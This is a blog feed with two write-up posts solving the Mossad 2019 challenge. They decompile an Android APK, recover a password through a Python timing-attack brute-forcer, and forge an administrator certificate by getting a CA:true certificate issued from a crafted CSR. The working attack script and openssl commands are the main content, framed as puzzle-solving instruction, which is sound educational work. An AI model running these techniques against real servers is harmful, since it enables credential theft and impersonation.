Jekyll2023-12-23T23:32:41+04:00https://yanir.dev//feed.xmlYanir TsarimiA blog about software security (and other stuff, maybe)The Mossad 2019 Challenge - Part 12019-05-16T22:00:00+04:002019-05-16T22:00:00+04:00https://yanir.dev//The%20Mossad%202019%20Challenge%20-%20Part%201<p>The 4th Mossad’s challenge for Israel’s independence day begun in 8th of May, 2019. Like the previous challenges, it requires some research and some “out of the box” thinking.
In the following article(s), I will go through all 3 challenges and explain my solutions.</p>
<p>The challenge begins in this URL: https://r-u-ready-4.it/</p>
<p><img src="/assets/mossad_challenge/intro_pic.jpg" alt="" /></p>
<p>This picture is basically a binary pattern with the Mossad’s logo. If we convert them to decimal, we’ll get the 4 octets of presumably, an IP address.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="mi">00100011</span> <span class="o">=</span> <span class="mi">35</span>
<span class="mi">11110110</span> <span class="o">=</span> <span class="mi">246</span>
<span class="mi">10011110</span> <span class="o">=</span> <span class="mi">158</span>
<span class="mi">00110011</span> <span class="o">=</span> <span class="mi">51</span></code></pre></figure>
<p>After visiting 35.246.158.51, we’ll be redirected to the first challenge:</p>
<p><img src="/assets/mossad_challenge/first_challenge.png" alt="" /></p>
<p>The webpage provides us with an .APK file. .APK (Android Package File) is the file extension for Android apps, and it’s in standard zip format.
It’s important to not just extract the file like a zip, because it contains Android Binary XML files, which you would just need to decode manually.
In this case we’ll use <a href="https://ibotpeaches.github.io/Apktool/">apktool</a> to disassemble the APK.</p>
<p>After extracting the files, we’ll look at <code class="language-plaintext highlighter-rouge">AndroidManifset.xml</code>. This xml contains valuable information, such as the package name, permissions, and more.</p>
<figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="cp"><?xml version="1.0" encoding="utf-8" standalone="no"?></span><span class="nt"><manifest</span> <span class="na">xmlns:android=</span><span class="s">"http://schemas.android.com/apk/res/android"</span> <span class="na">package=</span><span class="s">"com.iwalk.locksmither"</span> <span class="na">platformBuildVersionCode=</span><span class="s">"1"</span> <span class="na">platformBuildVersionName=</span><span class="s">"1.0.0"</span><span class="nt">></span>
<span class="nt"><uses-permission</span> <span class="na">android:name=</span><span class="s">"android.permission.INTERNET"</span><span class="nt">/></span>
<span class="nt"><application</span> <span class="na">android:data=</span><span class="s">"look for us on github.com"</span> <span class="na">android:debuggable=</span><span class="s">"true"</span> <span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span> <span class="na">android:label=</span><span class="s">"LockSmither"</span> <span class="na">android:name=</span><span class="s">"io.flutter.app.FlutterApplication"</span><span class="nt">></span>
[redacted for brevity]</code></pre></figure>
<p>We can see a few important hints here:</p>
<ol>
<li>The app uses the internet permissions. This is a strong hint that the app is contacting some remote server.</li>
<li>The “look for us on github.com” hint.</li>
<li>The app is a Flutter application. Flutter is Google’s mobile app SDK.</li>
<li>The app is debuggable. That’s a strong hint this APK was built in debug mode, and we can extract code or important symbols from it.</li>
</ol>
<h2 id="a-quick-overview-on-flutter">A quick overview on Flutter.</h2>
<p>Flutter is used to develop native apps. Flutter apps are developed in the Dart programming language - also developed by Google.
When you build a Flutter app, the Dart kernel (“an intermediate language for Dart programs”) takes your Dart code and creates kernel bytecode.
That bytecode is usually saved in the <code class="language-plaintext highlighter-rouge">kernel_blob.bin</code> file, which we’ll look at now.</p>
<p>In the <code class="language-plaintext highlighter-rouge">assets/flutter_assets/</code> folder, we can find the kernel_blob file. By running <code class="language-plaintext highlighter-rouge">strings</code> on it, we can view the source code directly.
Here’s an interesting portion of the code:</p>
<figure class="highlight"><pre><code class="language-dart" data-lang="dart"><span class="nl">file:</span><span class="c1">///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_actions.dart</span>
<span class="kn">import</span> <span class="s">'dart:async'</span><span class="o">;</span>
<span class="kn">import</span> <span class="s">'dart:convert'</span><span class="o">;</span>
<span class="kn">import</span> <span class="s">'package:locksmither/network/network_wrapper.dart'</span><span class="o">;</span>
<span class="kn">import</span> <span class="s">'package:locksmither/models/token.dart'</span><span class="o">;</span>
<span class="kn">import</span> <span class="s">'package:locksmither/models/AuthURL.dart'</span><span class="o">;</span>
<span class="kd">class</span> <span class="nc">NetworkActions</span> <span class="o">{</span>
<span class="n">NetworkWrapper</span> <span class="n">_netUtil</span> <span class="o">=</span> <span class="k">new</span> <span class="n">NetworkWrapper</span><span class="o">();</span>
<span class="kd">static</span> <span class="kd">const</span> <span class="n">BASE_URL</span> <span class="o">=</span> <span class="s">"http://35.246.158.51:8070"</span><span class="o">;</span>
<span class="kd">static</span> <span class="kd">const</span> <span class="n">LOGIN_URL</span> <span class="o">=</span> <span class="n">BASE_URL</span> <span class="o">+</span> <span class="s">"/auth/getUrl"</span><span class="o">;</span>
<span class="n">Future</span><span class="o"><</span><span class="n">Token</span><span class="o">></span> <span class="n">login</span><span class="o">(</span><span class="kt">String</span> <span class="n">seed</span><span class="o">,</span> <span class="kt">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
<span class="kd">var</span> <span class="n">headers</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Map</span><span class="o"><</span><span class="kt">String</span><span class="o">,</span><span class="kt">String</span><span class="o">>();</span>
<span class="k">return</span> <span class="n">_netUtil</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">LOGIN_URL</span><span class="o">,</span> <span class="nl">headers:</span><span class="n">headers</span><span class="o">).</span><span class="na">then</span><span class="o">((</span><span class="kd">dynamic</span> <span class="n">authUrl</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">authUrl</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">Future</span><span class="o"><</span><span class="n">Token</span><span class="o">>.</span><span class="na">sync</span><span class="o">(()</span> <span class="o">=></span> <span class="k">new</span> <span class="n">Token</span><span class="o">(</span><span class="s">""</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">0</span><span class="o">));</span>
<span class="o">}</span>
<span class="kd">var</span> <span class="n">loginUrl</span> <span class="o">=</span> <span class="n">BASE_URL</span> <span class="o">+</span> <span class="n">AuthURL</span><span class="o">.</span><span class="na">map</span><span class="o">(</span><span class="n">json</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">authUrl</span><span class="o">.</span><span class="na">body</span><span class="o">)).</span><span class="na">url</span><span class="o">;</span>
<span class="n">Map</span><span class="o"><</span><span class="kt">String</span><span class="o">,</span><span class="kt">String</span><span class="o">></span> <span class="n">body</span> <span class="o">=</span> <span class="o">{</span> <span class="s">"Seed"</span><span class="o">:</span> <span class="n">seed</span><span class="o">,</span> <span class="s">"Password"</span><span class="o">:</span> <span class="n">password</span> <span class="o">};</span>
<span class="n">Map</span><span class="o"><</span><span class="kt">String</span><span class="o">,</span><span class="kt">String</span><span class="o">></span> <span class="n">headers</span> <span class="o">=</span> <span class="o">{</span><span class="s">"content-type"</span><span class="o">:</span> <span class="s">"application/json"</span><span class="o">};</span>
<span class="k">return</span> <span class="n">_netUtil</span><span class="o">.</span><span class="na">post</span><span class="o">(</span><span class="n">loginUrl</span><span class="o">,</span><span class="nl">body:</span> <span class="n">json</span><span class="o">.</span><span class="na">encode</span><span class="o">(</span><span class="n">body</span><span class="o">),</span> <span class="nl">headers:</span><span class="n">headers</span><span class="o">).</span><span class="na">then</span><span class="o">((</span><span class="kd">dynamic</span> <span class="n">token</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">Token</span><span class="o">.</span><span class="na">map</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
<span class="o">});</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">Future</span><span class="o"><</span><span class="n">Token</span><span class="o">>.</span><span class="na">sync</span><span class="o">(()</span> <span class="o">=></span> <span class="k">new</span> <span class="n">Token</span><span class="o">(</span><span class="s">""</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">0</span><span class="o">));</span>
<span class="o">}</span>
<span class="o">}).</span><span class="na">catchError</span><span class="o">((</span><span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
<span class="o">});</span></code></pre></figure>
<p>Looking at this code, we can infer that a request is being sent to <code class="language-plaintext highlighter-rouge">http://35.246.158.51:8070/auth/getUrl</code> to retrieve the authentication URL,
and then an additional POST request is sent with a JSON containing a seed and a password.</p>
<p>Let’s try that:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~# curl http://35.246.158.51:8070/auth/getUrl
<span class="o">{</span><span class="s2">"AuthURL"</span>:<span class="s2">"/auth/v2"</span><span class="o">}</span>
root@beer:~# curl <span class="nt">-d</span> <span class="s1">'{"Password":"password", "Seed":"test"}'</span> <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-X</span> POST http://35.246.158.51:8070/auth/v2
<span class="o">{</span><span class="s2">"IsValid"</span>:false,<span class="s2">"LockURL"</span>:<span class="s2">""</span>,<span class="s2">"Time"</span>:142220<span class="o">}</span></code></pre></figure>
<p>Interesting. So what we know so far is that in order to authenticate, we need to give a valid seed and password. The server returns <code class="language-plaintext highlighter-rouge">Time</code> which is probably the time taken to process the request.
The time hints that this server is vulnerable to a timing attack.</p>
<h2 id="timing-attacks">Timing attacks?</h2>
<p>To put simply, these are attacks where the attacker analyzes the time taken to process something based on the input given.
Let’s assume the server compares each character in the password, byte by byte in a loop, and breaks when a character is incorrect.
This will mean that the more correct characters you have in the input, the longer the server takes to process your request.
Then, you can bruteforce all characters and measure the time, and see which characters take longer - and you can assume they are correct.</p>
<p><img src="/assets/mossad_challenge/timing_attacks.png" alt="" class="marginleft25" /></p>
<p>So, after playing with the <code class="language-plaintext highlighter-rouge">/auth/v2</code> endpoint for a while, I could see the returned time is pretty much inconsistent, and a timing attack wouldn’t work on this endpoint.</p>
<p>Let’s go back a bit, remember the “look for us on github” from the manifest? By searching for “iwalk” on github, we can find an interesting user: <a href="https://github.com/iwalk-locksmithers-app">iwalk-locksmithers-app</a>
The user has a “server” repo which contains the <a href="https://github.com/iwalk-locksmithers-app/server/blob/master/main.go">source code</a> for the server.
By looking at the code, we can see that there’s an <code class="language-plaintext highlighter-rouge">/auth/v1_1</code> endpoint available, only if we set our <code class="language-plaintext highlighter-rouge">User-Agent</code> header to <code class="language-plaintext highlighter-rouge">ed9ae2c0-9b15-4556-a393-23d500675d4b</code>!
Let’s see if it’s working in the remote server:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/m2019/app/assets/flutter_assets# curl <span class="nt">-H</span> <span class="s2">"User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b"</span> http://35.246.158.51:8070/auth/getUrl
<span class="o">{</span><span class="s2">"AuthURL"</span>:<span class="s2">"/auth/v1_1"</span><span class="o">}</span>
root@beer:~# curl <span class="nt">-H</span> <span class="s2">"User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b"</span> http://35.246.158.51:8070/auth/v1_1
<span class="o">{</span><span class="s2">"IsValid"</span>:false,<span class="s2">"LockURL"</span>:<span class="s2">""</span>,<span class="s2">"Time"</span>:6999<span class="o">}</span>
root@beer:~# curl <span class="nt">-H</span> <span class="s2">"User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b"</span> http://35.246.158.51:8070/auth/v1_1
<span class="o">{</span><span class="s2">"IsValid"</span>:false,<span class="s2">"LockURL"</span>:<span class="s2">""</span>,<span class="s2">"Time"</span>:6608<span class="o">}</span></code></pre></figure>
<p>Let’s look at the password check code for the <code class="language-plaintext highlighter-rouge">/auth/v1_1</code> endpoint:</p>
<figure class="highlight"><pre><code class="language-go" data-lang="go"><span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">lock</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">getLocks</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">loginData</span><span class="o">.</span><span class="n">Seed</span> <span class="o">!=</span> <span class="n">lock</span><span class="o">.</span><span class="n">Seed</span> <span class="p">{</span>
<span class="k">continue</span>
<span class="p">}</span>
<span class="n">currentIndex</span> <span class="o">:=</span> <span class="m">0</span>
<span class="k">for</span> <span class="n">currentIndex</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">lock</span><span class="o">.</span><span class="n">Password</span><span class="p">)</span> <span class="o">&&</span> <span class="n">currentIndex</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">loginData</span><span class="o">.</span><span class="n">Password</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">lock</span><span class="o">.</span><span class="n">Password</span><span class="p">[</span><span class="n">currentIndex</span><span class="p">]</span> <span class="o">!=</span> <span class="n">loginData</span><span class="o">.</span><span class="n">Password</span><span class="p">[</span><span class="n">currentIndex</span><span class="p">]</span> <span class="p">{</span>
<span class="k">break</span>
<span class="p">}</span>
<span class="c">//OG: securing against bruteforce attempts... ;-)</span>
<span class="n">time</span><span class="o">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">30</span> <span class="o">*</span> <span class="n">time</span><span class="o">.</span><span class="n">Millisecond</span><span class="p">)</span>
<span class="n">currentIndex</span><span class="o">++</span>
<span class="p">}</span>
<span class="k">if</span> <span class="n">currentIndex</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">lock</span><span class="o">.</span><span class="n">Password</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">:=</span> <span class="n">getResponseToken</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="no">true</span><span class="p">,</span> <span class="n">lock</span><span class="o">.</span><span class="n">Value</span><span class="p">)</span>
<span class="n">returnToken</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">ret</span><span class="p">)</span>
<span class="k">return</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>So it seems like the code sleeps for 30ms for every correct character we hit. Also, it checks the string up to the length of the password, so even if the password is “1234”, the password “123456” would work as well.
We now know that we can perform a timing attack on this endpoint. However we still need the seed. Remember the beginning of the challenge where we were given a ‘client id’? We’ll use this as the seed.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">operator</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">SEED</span> <span class="o">=</span> <span class="s">"e0399b34b74742bd96ec84d3102c88ad"</span>
<span class="n">CHARSET</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">ascii_lowercase</span> <span class="o">+</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span>
<span class="n">ENDPOINT</span> <span class="o">=</span> <span class="s">"http://35.246.158.51:8070/auth/v1_1"</span>
<span class="n">HEADERS</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'User-Agent'</span><span class="p">:</span> <span class="s">'ed9ae2c0-9b15-4556-a393-23d500675d4b'</span>
<span class="p">}</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">current_password</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">current_milliseconds_time</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">CHARSET</span><span class="p">:</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">current_password</span> <span class="o">+</span> <span class="n">char</span>
<span class="n">json_data</span> <span class="o">=</span> <span class="p">{</span><span class="s">'Password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s">'Seed'</span><span class="p">:</span> <span class="n">SEED</span><span class="p">}</span>
<span class="n">request</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">ENDPOINT</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">json_data</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">HEADERS</span><span class="p">)</span>
<span class="n">json_response</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>
<span class="k">if</span> <span class="n">json_response</span><span class="p">[</span><span class="s">"IsValid"</span><span class="p">]:</span>
<span class="k">print</span><span class="p">(</span><span class="n">json_response</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">ms_difference</span> <span class="o">=</span> <span class="p">(</span><span class="n">json_response</span><span class="p">[</span><span class="s">"Time"</span><span class="p">]</span> <span class="o">/</span> <span class="mf">1000000.0</span><span class="p">)</span> <span class="o">-</span> <span class="n">current_milliseconds_time</span>
<span class="k">if</span> <span class="n">ms_difference</span> <span class="o">></span> <span class="mi">25</span><span class="p">:</span>
<span class="n">current_password</span> <span class="o">+=</span> <span class="n">char</span>
<span class="n">current_milliseconds_time</span> <span class="o">=</span> <span class="n">json_response</span><span class="p">[</span><span class="s">"Time"</span><span class="p">]</span> <span class="o">/</span> <span class="mf">1000000.0</span>
<span class="k">break</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Current password: "</span> <span class="o">+</span> <span class="n">current_password</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span></code></pre></figure>
<p>In this example script, you bruteforce the password with the character set of lowercase letters and digits (originally I used all letters and special characters too, but I changed it after observing the pattern of the password). We convert the <code class="language-plaintext highlighter-rouge">Time</code> from nanoseconds to milliseconds, and add the character to the <code class="language-plaintext highlighter-rouge">current_password</code> if there’s a 25ms or more difference between the two.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~# python3 script.py
Current password: a
Current password: a3
Current password: a39
Current password: a39d
<span class="o">[</span>...]
Current password: a39dc4afebd2409f88528650841fd51
<span class="o">{</span>u<span class="s1">'IsValid'</span>: True, u<span class="s1">'Time'</span>: 963367158, u<span class="s1">'LockURL'</span>: u<span class="s1">'http://3d375032374147a7865753e4bbc92682.xyz/95e32f2033464ae4a599f34d8215242f'</span><span class="o">}</span></code></pre></figure>
<p>Visiting the URL completes the challenge:</p>
<p><img src="/assets/mossad_challenge/first_challenge_done.png" alt="" /></p>yanirThe 4th Mossad’s challenge for Israel’s independence day begun in 8th of May, 2019. Like the previous challenges, it requires some research and some “out of the box” thinking. In the following article(s), I will go through all 3 challenges and explain my solutions.The Mossad 2019 Challenge - Part 22019-05-16T22:00:00+04:002019-05-16T22:00:00+04:00https://yanir.dev//The%20Mossad%202019%20Challenge%20-%20Part%202<p>The second challenge begins.</p>
<p><img src="/assets/mossad_challenge/second_challenge.png" alt="" /></p>
<p>When visiting the included URL - <a href="http://missilesys.com">missilesys.com</a>, we’re introduced with a “not welcome” page:</p>
<p><img src="/assets/mossad_challenge/2_notwelcome.png" alt="" /></p>
<p>Upon inspection of the HTML source, we can see the included image is linked from a different domain - dev.missilesys.com.</p>
<p><img src="/assets/mossad_challenge/2_devpage.png" alt="" /></p>
<p>When registering, a CSR (Certificate Signing Request) and a private key is generated in the browser. The CN (Common Name) in the CSR is set to the username you requested.
The CSR and private key are sent to the server, and it serves you with a password-protected PKCS #12 file (the password is the password we’ve given). PKCS #12 is a file format standard that stores a certificate and a private key.</p>
<p>The server, which is the CA (Certificate Authority), creates and signs our certificate, per the CSR we’ve sent. We can then use the .p12 file to authenticate against missilesys.com:</p>
<p><img src="/assets/mossad_challenge/2_missilesys.png" alt="" /></p>
<p>In the page there’s nothing interesting except the settings button. However, when trying to reach <code class="language-plaintext highlighter-rouge">/settings</code>, we get an error: <code class="language-plaintext highlighter-rouge">You are not the administrator!</code></p>
<p>If we try to register with the <code class="language-plaintext highlighter-rouge">administrator</code> username, we receive an error: <code class="language-plaintext highlighter-rouge">User already exists!</code>. Changing the CSR in-place yields the same error, as the server probably validates the CN in the CSR.</p>
<p>Our primary playground is the CSR we’re sending to the server. As it’s generated in the client side, we can send whatever CSR we want, the question is whether the server will honor it.</p>
<h2 id="the-chain-of-trust">The Chain of Trust</h2>
<p>As we can see, the server is playing the role of the root certificate authority. The definition of a CA from wikipedia:</p>
<blockquote>
<p>A certificate authority is an entity the issues digital certificates.</p>
</blockquote>
<p>So simply put, any CA can issue a certificate, and right now we only know one CA. But the truth is, there can be more than one CA.</p>
<p>If the root CA signs a certificate for an intermediate CA, that intermediate CA can now sign end-entity certificates, thus creating a “chain of trust”.</p>
<p><img src="/assets/mossad_challenge/2_cot.png" alt="" /></p>
<figcaption class="caption">Taken from Wikipedia - Chain of Trust</figcaption>
<p>So how do we ask to create a CA certificate from a CSR? Turns out you can add extension requests to CSR. The “Basic Constraints” extension specifies whether the certificate is a CA or not, and the maximum depth of valid certification paths.</p>
<p>So let’s add a Basic Constraints extension request to our .csr, first we’ll need to create <code class="language-plaintext highlighter-rouge">ca.conf</code> with the following config:</p>
<figure class="highlight"><pre><code class="language-ini" data-lang="ini"><span class="nn">[ req ]</span>
<span class="py">distinguished_name</span> <span class="p">=</span> <span class="s">req_distinguished_name</span>
<span class="py">req_extensions</span> <span class="p">=</span> <span class="s">v3_req</span>
<span class="py">prompt</span> <span class="p">=</span> <span class="s">no</span>
<span class="nn">[ req_distinguished_name ]</span>
<span class="py">commonName</span> <span class="p">=</span> <span class="s">somebody</span>
<span class="nn">[ v3_req ]</span>
<span class="py">basicConstraints</span> <span class="p">=</span> <span class="s">CA:true</span></code></pre></figure>
<p>We can now generate the private key and CSR for our intermediate CA, and verify the basic constraints exist in the .csr:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/mycerts# openssl req <span class="nt">-new</span> <span class="nt">-newkey</span> rsa:2048 <span class="nt">-nodes</span> <span class="nt">-keyout</span> myca.key <span class="nt">-out</span> mycsr.csr <span class="nt">-config</span> ca.conf
Generating a 2048 bit RSA private key
...........+++++
....................................................+++++
writing new private key to <span class="s1">'myca.key'</span>
<span class="nt">-----</span>
root@beer:~/mycerts# openssl asn1parse <span class="nt">-in</span> mycsr.csr
0:d<span class="o">=</span>0 <span class="nv">hl</span><span class="o">=</span>4 <span class="nv">l</span><span class="o">=</span> 631 cons: SEQUENCE
4:d<span class="o">=</span>1 <span class="nv">hl</span><span class="o">=</span>4 <span class="nv">l</span><span class="o">=</span> 351 cons: SEQUENCE
8:d<span class="o">=</span>2 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 1 prim: INTEGER :00
11:d<span class="o">=</span>2 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 19 cons: SEQUENCE
13:d<span class="o">=</span>3 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 17 cons: SET
15:d<span class="o">=</span>4 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 15 cons: SEQUENCE
17:d<span class="o">=</span>5 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 3 prim: OBJECT :commonName
22:d<span class="o">=</span>5 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 8 prim: UTF8STRING :somebody
32:d<span class="o">=</span>2 <span class="nv">hl</span><span class="o">=</span>4 <span class="nv">l</span><span class="o">=</span> 290 cons: SEQUENCE
36:d<span class="o">=</span>3 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 13 cons: SEQUENCE
38:d<span class="o">=</span>4 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 9 prim: OBJECT :rsaEncryption
49:d<span class="o">=</span>4 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 0 prim: NULL
51:d<span class="o">=</span>3 <span class="nv">hl</span><span class="o">=</span>4 <span class="nv">l</span><span class="o">=</span> 271 prim: BIT STRING
326:d<span class="o">=</span>2 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 31 cons: cont <span class="o">[</span> 0 <span class="o">]</span>
328:d<span class="o">=</span>3 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 29 cons: SEQUENCE
330:d<span class="o">=</span>4 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 9 prim: OBJECT :Extension Request
341:d<span class="o">=</span>4 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 16 cons: SET
343:d<span class="o">=</span>5 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 14 cons: SEQUENCE
345:d<span class="o">=</span>6 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 12 cons: SEQUENCE
347:d<span class="o">=</span>7 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 3 prim: OBJECT :X509v3 Basic Constraints
352:d<span class="o">=</span>7 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 5 prim: OCTET STRING <span class="o">[</span>HEX DUMP]:30030101FF
359:d<span class="o">=</span>1 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 13 cons: SEQUENCE
361:d<span class="o">=</span>2 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 9 prim: OBJECT :sha256WithRSAEncryption
372:d<span class="o">=</span>2 <span class="nv">hl</span><span class="o">=</span>2 <span class="nv">l</span><span class="o">=</span> 0 prim: NULL
374:d<span class="o">=</span>1 <span class="nv">hl</span><span class="o">=</span>4 <span class="nv">l</span><span class="o">=</span> 257 prim: BIT STRING</code></pre></figure>
<p>We can now send the POST request to the server to get the .p12 file, and check if we got a CA cert:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/mycerts# curl <span class="nt">-k</span> <span class="nt">-F</span> <span class="s1">'username=nobody'</span> <span class="nt">-F</span> <span class="s1">'password=password'</span> <span class="nt">-F</span> <span class="nv">csr</span><span class="o">=</span><span class="s2">"</span><span class="sb">`</span><span class="nb">cat </span>mycsr.csr<span class="sb">`</span><span class="s2">"</span> <span class="nt">-F</span> <span class="nv">privatekey</span><span class="o">=</span><span class="s2">"</span><span class="sb">`</span><span class="nb">cat </span>myca.key<span class="sb">`</span><span class="s2">"</span> https://dev.missilesys.com/download_cert <span class="nt">--output</span> ca.p12
root@beer:~/mycerts# openssl pkcs12 <span class="nt">-in</span> ca.p12 <span class="nt">-passin</span> pass:password | openssl x509 <span class="nt">-noout</span> <span class="nt">-text</span> <span class="nt">-certopt</span> ca_default
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Serial Number: 1 <span class="o">(</span>0x1<span class="o">)</span>
Signature Algorithm: sha256WithRSAEncryption
Validity
Not Before: May 17 13:55:42 2019 GMT
Not After : May 16 13:55:42 2020 GMT
Subject: CN <span class="o">=</span> somebody
X509v3 extensions:
X509v3 Basic Constraints:
CA:TRUE</code></pre></figure>
<p>As you can see the CA is set to TRUE. Now that we’re a valid intermediate CA, we can sign an underlying certificate with the CN of ‘administrator’. First, generate a CSR:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/mycerts# openssl req <span class="nt">-new</span> <span class="nt">-newkey</span> rsa:2048 <span class="nt">-nodes</span> <span class="nt">-keyout</span> admin.key <span class="nt">-out</span> admin.csr <span class="nt">-subj</span> <span class="s2">"/CN=administrator/"</span></code></pre></figure>
<p>Now let’s extract our intermediate CA certificate from the .p12 file:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/mycerts# openssl pkcs12 <span class="nt">-in</span> ca.p12 <span class="nt">-clcerts</span> <span class="nt">-nokeys</span> <span class="nt">-out</span> myca.crt</code></pre></figure>
<p>Now we’re ready to create and sign the new administrator certificate:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/mycerts# openssl x509 <span class="nt">-req</span> <span class="nt">-in</span> admin.csr <span class="nt">-CA</span> myca.crt <span class="nt">-CAkey</span> myca.key <span class="nt">-CAcreateserial</span> <span class="nt">-out</span> admin.crt <span class="nt">-days</span> 10
Signature ok
<span class="nv">subject</span><span class="o">=</span>CN <span class="o">=</span> administrator
Getting CA Private Key</code></pre></figure>
<p>So now we have admin.crt, all we need is to prepend that certificate to our already existing chain. To do that, we’ll first extract the root CA certificate (that belongs to the server), then we’ll <code class="language-plaintext highlighter-rouge">cat</code> them together into a .pem file and create a final PKCS #12 file:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">root@beer:~/mycerts# openssl pkcs12 <span class="nt">-in</span> ca.p12 <span class="nt">-cacerts</span> <span class="nt">-nokeys</span> <span class="nt">-out</span> rootca.crt
Enter Import Password:
root@beer:~/mycerts# <span class="nb">cat </span>admin.crt myca.crt rootca.crt <span class="o">></span> final.pem
root@beer:~/mycerts# openssl pkcs12 <span class="nt">-export</span> <span class="nt">-inkey</span> admin.key <span class="nt">-in</span> final.pem <span class="nt">-out</span> final.p12
Enter Export Password:
Verifying - Enter Export Password:</code></pre></figure>
<p>Now you can import final.p12 to your certificates, and use that to identify against the server. If you were to look at the certificate chain, this is what you would see:</p>
<p><img src="/assets/mossad_challenge/2_certchain.png" alt="" class="marginleft25" /></p>
